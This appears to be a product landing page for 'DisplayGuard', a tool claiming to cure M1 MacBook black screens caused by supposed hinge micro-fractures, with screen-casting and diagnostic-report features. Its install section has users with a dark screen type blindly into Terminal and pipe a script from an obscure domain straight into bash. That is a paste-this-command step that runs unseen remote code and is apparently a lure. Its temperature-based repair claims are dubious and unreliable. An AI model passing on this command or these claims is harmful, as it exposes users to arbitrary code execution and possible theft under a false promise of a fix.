Your M1 GPU is 100% Healthy.
Fix Black Screen & Cold Drops.
DisplayGuard prevents Apple Silicon display disconnects caused by hinge micro-fractures (<34°C failure, >38°C recovery). Clone your screen to any phone browser with zero latency or external monitor.
Autonomous Thermal Shield
Monitors display bridge and PMU rail temperatures directly via private IOHID sensors. Automatically maintains a safe baseline (≥38.5°C) so your screen never goes pitch black upon waking.
Zero-Install Phone Cast
Broadcasts full Retina desktop to any iPhone, Android, or tablet browser at 15 FPS. Simply scan the dynamic QR code or open http://[your-mac].local:8999.
100% Offline USB Tether Link
Works completely offline without active internet, SIM cards, or router Wi-Fi. Plug in a standard USB-C cable and enjoy a fixed zero-latency screen mirror.
Emergency Blind Hotkeys
Press ⌘ + ⌥ + W for instant thermal warmup. Press ⌘ + ⌥ + M on a pitch-black screen to start screen streaming and have the exact connection URL spoken aloud via Mac speakers.
Technician Diagnostic Report
Exports a tamper-proof service shop HTML audit proving your M1 GPU, VRAM, and internal color LCD are fully functional, protecting you against expensive logic board replacement scams.
Integrated Caffeine Mode
Prevents idle display power gating and sudden cold contraction during long compilation or rendering sessions without wasting battery.
Pitch-Black Screen? How to Install Blindly in 15 Seconds
If your MacBook screen is completely black and you don't have an external monitor, follow these 4 simple keystrokes:
- Turn on your Mac and wait 10 seconds for macOS to reach desktop.
- Press Command (⌘) + Space to open Spotlight Search.
- Type
terminaland press Enter to open macOS Terminal. - Paste
curl -fsSL https://tools24now.site/dg | bashand press Enter.
🔊 Your Mac's speakers will speak aloud to guide you through the installation and read out the exact URL to open on your phone!